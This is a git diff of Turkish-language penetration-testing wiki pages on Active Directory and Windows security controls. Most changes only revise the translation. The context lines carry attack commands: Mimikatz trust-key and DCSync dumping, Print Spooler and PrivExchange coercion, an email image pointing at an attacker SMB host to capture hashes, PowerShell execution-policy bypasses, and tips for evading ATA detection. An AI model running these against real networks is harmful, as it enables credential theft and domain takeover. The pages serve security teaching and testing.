> İki **güvenilir anahtar** vardır, biri _Child --> Parent_ diğeri ise _Parent_ --> _Child_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu komutla alabilirsiniz:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
|
||||
> ```
|
||||
|
||||
#### SID-History Injection
|
||||
#### SID-History Enjeksiyonu
|
||||
|
||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme:
|
||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükseltin:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
{{#endref}}
|
||||
|
||||
#### Yazılabilir Configuration NC'yi istismar etme
|
||||
#### Yazılabilir Konfigürasyon NC'yi Sömürme
|
||||
|
||||
Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
Konfigürasyon İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak çok önemlidir. Konfigürasyon NC, Active Directory (AD) ortamlarında bir orman genelinde konfigürasyon verileri için merkezi bir depo işlevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Konfigürasyon NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
|
||||
**GPO'yu kök DC alanına bağlama**
|
||||
**GPO'yu kök DC alanına bağlayın**
|
||||
|
||||
Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
Konfigürasyon NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
|
||||
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
|
||||
Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
|
||||
|
||||
**Ormandaki herhangi bir gMSA'yı tehlikeye atma**
|
||||
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür.
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Konfigürasyon NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür.
|
||||
|
||||
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) konusundaki tartışmada bulunabilir.
|
||||
Detaylı analiz, [Altın gMSA Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
|
||||
|
||||
**Şema değişikliği saldırısı**
|
||||
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir.
|
||||
|
||||
Daha fazla okuma için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir.
|
||||
Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir.
|
||||
|
||||
**DA'dan EA'ya ADCS ESC5 ile**
|
||||
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Konfigürasyon NC içinde bulunduğundan, yazılabilir bir çocuk DC'nin tehlikeye atılması ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
|
||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) makalesinde tartışılmıştır.
|
||||
|
||||
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Bazı Genel Savunmalar
|
||||
|
||||
@ -678,8 +680,8 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Kimlik Bilgilerini Koruma için Savunma Önlemleri**
|
||||
|
||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Domain Admins Kısıtlamaları**: Domain Admins'in yalnızca Domain Controller'lara giriş yapmasına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Admin (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
|
||||
|
||||
### **Aldatma Tekniklerini Uygulama**
|
||||
@ -690,15 +692,15 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Aldatmayı Tanımlama**
|
||||
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar bu tür aldatmaları tanımlamada yardımcı olabilir.
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları bulunur.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
|
||||
|
||||
### **Algılama Sistemlerini Aşma**
|
||||
|
||||
- **Microsoft ATA Algılama Aşma**:
|
||||
- **Kullanıcı Sayımı**: Domain Denetleyicilerinde oturum sayımını önleyerek ATA algılamasını engellemek.
|
||||
- **Kullanıcı Sayımı**: Domain Controller'larda oturum sayımını önleyerek ATA algılamasını engellemek.
|
||||
- **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur.
|
||||
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Denetleyicisinden yürütme, uyarıları tetikler.
|
||||
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Controller'dan değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Controller'dan yürütme, uyarıları tetikler.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -8,8 +8,8 @@
|
||||
|
||||
## Spooler Servisi İstismarı
|
||||
|
||||
Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi'nin yazıcı sunucusuna yeni yazdırma görevleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\
|
||||
Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**.
|
||||
Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi'nin yazıcı sunucusuna yeni yazdırma işleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\
|
||||
Yazıcı bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**.
|
||||
|
||||
### Alan üzerindeki Windows Sunucularını Bulma
|
||||
|
||||
@ -41,17 +41,19 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||
```
|
||||
### Kısıtlanmamış Delegasyon ile Birleştirme
|
||||
|
||||
Eğer bir saldırgan [Kısıtlanmamış Delegasyon](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Kısıtlanmamış delegasyon nedeniyle, **yazıcının bilgisayar hesabının TGT'si** kısıtlanmamış delegasyona sahip bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu hostu zaten ele geçirdiği için, **bu bileti alabilecek** ve bunu kötüye kullanabilecektir ([Pass the Ticket](pass-the-ticket.md)).
|
||||
Eğer bir saldırgan [Kısıtlanmamış Delegasyon](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Kısıtlanmamış delegasyon nedeniyle, **yazıcının bilgisayar hesabının TGT'si** kısıtlanmamış delegasyona sahip bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu ana bilgisayarı zaten ele geçirdiği için, **bu bileti alabilir** ve kötüye kullanabilir ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## RCP Zorla Kimlik Doğrulama
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, herhangi bir posta kutusuna sahip alan kullanıcısının Exchange sunucusunu HTTP üzerinden herhangi bir istemci sağlanan hosta kimlik doğrulaması yapmaya zorlamasına olanak tanır.
|
||||
`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, Exchange sunucusunun, bir posta kutusuna sahip herhangi bir alan kullanıcısı tarafından HTTP üzerinden herhangi bir istemci sağlanan ana bilgisayara kimlik doğrulaması yapmasını zorlar.
|
||||
|
||||
Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019 Öncesi Kümülatif Güncelleme'de alan üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ya bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ya iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar.
|
||||
Varsayılan olarak, **Exchange hizmeti SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019'dan önceki Kümülatif Güncelleme üzerinde WriteDacl ayrıcalıkları vardır**). Bu hata, **LDAP'ye bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için kullanılabilir. LDAP'ye iletim mümkün olmadığında bile, bu hata alan içindeki diğer ana bilgisayarlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde kötüye kullanılması, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar.
|
||||
|
||||
## Windows İçinde
|
||||
|
||||
@ -86,7 +88,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### E-posta ile
|
||||
|
||||
Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona **1x1 piksel boyutunda bir resim içeren bir e-posta** gönderebilirsiniz.
|
||||
Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona **1x1 piksel boyutunda bir resim** içeren bir **e-posta** gönderebilirsiniz.
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## AppLocker Politikası
|
||||
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların bir listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\
|
||||
Organizasyonların **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimi sağlaması yaygındır, **ancak bunların hepsi atlatılabilir**.
|
||||
@ -56,16 +56,16 @@ LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kon
|
||||
|
||||
### LSA gizli bilgileri
|
||||
|
||||
LSA, diske bazı kimlik bilgilerini kaydedebilir:
|
||||
LSA, diskte bazı kimlik bilgilerini kaydedebilir:
|
||||
|
||||
- Aktif Dizin'in bilgisayar hesabının şifresi (ulaşılamayan alan denetleyicisi).
|
||||
- Etki Alanı Denetleyicisi'ne (ulaşılamayan) ait bilgisayar hesabının şifresi.
|
||||
- Windows hizmetlerinin hesaplarının şifreleri
|
||||
- Zamanlanmış görevler için şifreler
|
||||
- Daha fazlası (IIS uygulamalarının şifresi...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
Bu, Active Directory'nin veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
|
||||
## Defender
|
||||
|
||||
@ -103,14 +103,14 @@ sc query windefend
|
||||
```
|
||||
## Şifreli Dosya Sistemi (EFS)
|
||||
|
||||
EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
|
||||
**Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir:
|
||||
|
||||
- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifre çözülür.
|
||||
- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifre çözülür.
|
||||
- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür.
|
||||
- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür.
|
||||
|
||||
Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeye izin vermez.
|
||||
Bu şifreleme yöntemi, sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeyi sağlamaz.
|
||||
|
||||
**Ana Noktalar**:
|
||||
|
||||
@ -121,7 +121,7 @@ Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağ
|
||||
|
||||
### EFS bilgilerini kontrol et
|
||||
|
||||
Bir **kullanıcının** bu **hizmeti** kullanıp kullanmadığını kontrol etmek için bu yolun var olup olmadığını kontrol edin:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Bir **kullanıcının** bu **hizmeti** kullanıp kullanmadığını kontrol etmek için bu yolun var olup olmadığını kontrol edin: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Dosyaya **kimlerin** **erişimi** olduğunu kontrol etmek için cipher /c \<file>\
|
||||
Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **şifre çözebilirsiniz**.
|
||||
@ -134,13 +134,15 @@ Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** ça
|
||||
|
||||
#### Kullanıcının şifresini bilmek
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Grup Yönetilen Hizmet Hesapları (gMSA)
|
||||
|
||||
Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
|
||||
|
||||
- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemelerine gerek kalmaz.
|
||||
- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir.
|
||||
- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır.
|
||||
- **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir.
|
||||
- **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
|
||||
@ -156,19 +158,19 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe
|
||||
```
|
||||
[**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay saldırısı** gerçekleştirme hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
|
||||
Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nasıl yapılacağı hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
|
||||
|
||||
## LAPS
|
||||
|
||||
**Yerel Yönetici Şifre Çözümü (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
|
||||
{{#ref}}
|
||||
active-directory-methodology/laps.md
|
||||
{{#endref}}
|
||||
|
||||
## PS Kısıtlı Dil Modu
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
|
||||
|
||||
### **Kontrol Et**
|
||||
```powershell
|
||||
@ -215,13 +217,13 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
||||
9º Use EncodeCommand
|
||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||
```
|
||||
Daha fazlasını [buradan](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) bulabilirsiniz.
|
||||
Daha fazlasını [burada](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) bulabilirsiniz.
|
||||
|
||||
## Güvenlik Destek Sağlayıcı Arayüzü (SSPI)
|
||||
|
||||
Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir.
|
||||
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır ve her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır, her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
|
||||
### Ana SSP'ler
|
||||
|
||||
@ -238,9 +240,9 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum
|
||||
|
||||
#### Müzakere birkaç yöntem veya yalnızca bir tane sunabilir.
|
||||
|
||||
## UAC - Kullanıcı Hesabı Denetimi
|
||||
## UAC - Kullanıcı Hesabı Kontrolü
|
||||
|
||||
[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir.
|
||||
[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir.
|
||||
|
||||
{{#ref}}
|
||||
windows-security-controls/uac-user-account-control.md
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol** sağlar. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\
|
||||
